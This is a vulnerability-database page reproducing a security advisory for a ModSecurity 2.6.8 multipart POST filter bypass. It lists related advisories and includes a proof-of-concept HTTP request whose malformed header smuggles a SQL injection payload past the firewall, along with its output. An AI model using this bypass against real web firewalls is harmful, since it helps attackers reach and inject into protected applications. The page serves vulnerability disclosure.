ModSecurity - 'POST' Security Bypass
| Reporter | Title | Published | Views | Family All 34 |
|---|---|---|---|---|
| ModSecurity < 2.7.0 Multipart Request Parsing Filter Bypass | 16 Aug 201300:00 | – | nessus | |
| Fedora 18 : mod_security-2.7.1-3.fc18 / mod_security_crs-2.2.6-3.fc18 (2012-18278) | 26 Nov 201200:00 | – | nessus | |
| Fedora 17 : mod_security-2.7.1-3.fc17 / mod_security_crs-2.2.6-3.fc17 (2012-18315) | 3 Dec 201200:00 | – | nessus | |
| Mandriva Linux Security Advisory : apache-mod_security (MDVSA-2012:182) | 24 Dec 201200:00 | – | nessus | |
| Mandriva Linux Security Advisory : apache-mod_security (MDVSA-2013:029) | 20 Apr 201300:00 | – | nessus | |
| ModSecurity < 2.7.0 Multipart Request Parsing Filter Bypass | 2 Jul 201300:00 | – | nessus | |
| openSUSE Security Update : apache2-mod_security2 (openSUSE-SU-2013:1336-1) | 13 Jun 201400:00 | – | nessus | |
| openSUSE Security Update : apache2-mod_security2 (openSUSE-SU-2013:1331-1) | 13 Jun 201400:00 | – | nessus | |
| CVE-2012-4528 | 17 Oct 201200:00 | – | circl | |
| CVE-2012-4528 | 28 Dec 201211:00 | – | cve |
10
source: https://www.securityfocus.com/bid/56096/info
ModSecurity is prone to a security-bypass vulnerability because it fails to sufficiently sanitize user-supplied input.
Successful exploits can allow attackers to bypass filtering rules; this may aid in further attacks.
ModSecurity 2.6.8 is vulnerable; other versions may also be affected.
Proof of concept:
-----------------
wut.php:
--------
<? echo $POST[xxx] ?>
POST request:
-------------
POST /wut.php HTTP/1.1
Content-Type: multipart/form-data; boundary=A
Content-Length: 161
--A
Content-Disposition: form-data; name="xxx"[\r][\r][\n]
--A
Content-Disposition: form-data; name="yyy"; filename="z"
1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--
--A--
Output:
-------
1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--
(any change in the header should produce a 403)dData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
17 Oct 2017 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 25
EPSS0.12507